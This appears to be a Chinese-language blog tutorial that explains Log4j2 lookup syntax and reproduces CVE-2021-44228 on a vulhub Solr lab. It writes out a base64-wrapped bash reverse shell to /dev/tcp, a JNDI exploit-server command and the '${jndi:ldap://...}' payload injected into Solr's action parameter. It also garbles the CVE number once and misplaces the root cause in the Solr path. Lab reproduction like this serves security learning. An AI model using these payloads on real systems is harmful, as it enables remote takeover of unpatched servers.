素年啊
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

Log4j2 的介绍
Log4j2 是一个用于Java应用程序的强大日志记录库,旨在提供高性能、灵活性和可配置性的日志记录功能。Log4j 2 是 Apache Log4j 项目的一部分,是 Log4j 日志记录库的下一代版本。它是用于在应用程序中生成日志消息的工具,以便于开发人员能够监控、调试和分析应用程序的运行情况。
简单来说他有着 记录日志, 监控应用程序运行, 故障诊断, 性能分析, 合规性和安全性
Log4j2 漏洞产生
${} 语法: Log4j2 允许开发人员使用这个语法来调用一些系统的变量 .
代码例子:
<Configuration>
<Appenders>
<Console name="ConsoleAppender" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} ${sys:a} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="debug">
<AppenderRef ref="ConsoleAppender"/>
</Root>
</Loggers>
</Configuration>
在上面的配置中,${sys:a}
会被替换为系统变量a
的值。${sys:a}
是 Log4j2 特定语法,用于引入系统属性a
的值。然后,%d{HH:mm:ss.SSS}
是日期格式,[%t]
是线程名,%-5level
是日志级别,%logger{36}
是类名(截断为最多 36 个字符),%msg
是日志消息本身。%n
是换行符。
如果系统属性a
的值是12345
,那么相应的日志消息将会是:
15:42:17.123 12345 [main] DEBUG com.example.MyApp - This is a debug message.
通俗点来说:
比如说有一条日志长这样
[main] DEBUG com.example.MyApp - This is a debug message.
利用 ${} 语法, 比如系统里面有个变量是 a = 12345
${sys:a}[main] DEBUG com.example.MyApp - This is a debug message. //这里用 ${sys:} 是引入变量的完整语法
最后变成
12345 [main] DEBUG com.example.MyApp - This is a debug message.
Log4j2 语法利用
这个语法不仅只有调用变量的功能, 还可以用${jndi:jndi://10.10.10.11/abc}
这个语法来加载远程的类并进行反序列化
所以需要启动一个JNDI 服务让Log4j2 进行远程加载调用
这里可以用到工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
Log4j2 漏洞利用
知道可以利用这个语法了, 那就得找一个可以被控制的利用点
CVE-2021-44228漏洞产生的根本原因在于Log4j2在处理用户提供的输入时存在安全漏洞。具体来说,漏洞路径位于/solr/admin/cores?action=
,这个路径实际上是Solr搜索引擎的管理接口,允许管理员对Solr实例中的核进行管理操作,如核的创建、删除、重载、重新加载等。
漏洞的核心问题在于对输入参数action
的处理。攻击者通过在action
参数中传入${}
语法,利用Log4j2的解析机制来执行恶意代码。
即是: /solr/admin/cores?action=
Log4j2 漏洞复现
这里用到的靶场为 vulhub log4j2 CVE-2012-44228
先启动 JDNI 服务 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A 服务器地址
如: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping dnslog" -A 192.168.6.5
制作反弹shell 命令 , 因为一些其他原因, 需要对 反弹shell 命令进行 base64 编码 ,再解码
bash -i >& /dev/tcp/192.168.57.129/8899 0>&1 base64 -> YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx
bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}
启动 JDNI 服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC41Ny4xMjkvODg5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.57.129
启动 NC 监听
进入靶场
找到利用点 /solr/admin/cores?action=
url后拼接 payload
${jndi:ldap://192.168.57.129:1389/w1t1db}
最后nc 这个接收到反弹shell
到了最后,我再想声明一下, 因为我的能力有限, 所以如果上面有不对的地方,可以提醒一下哈 !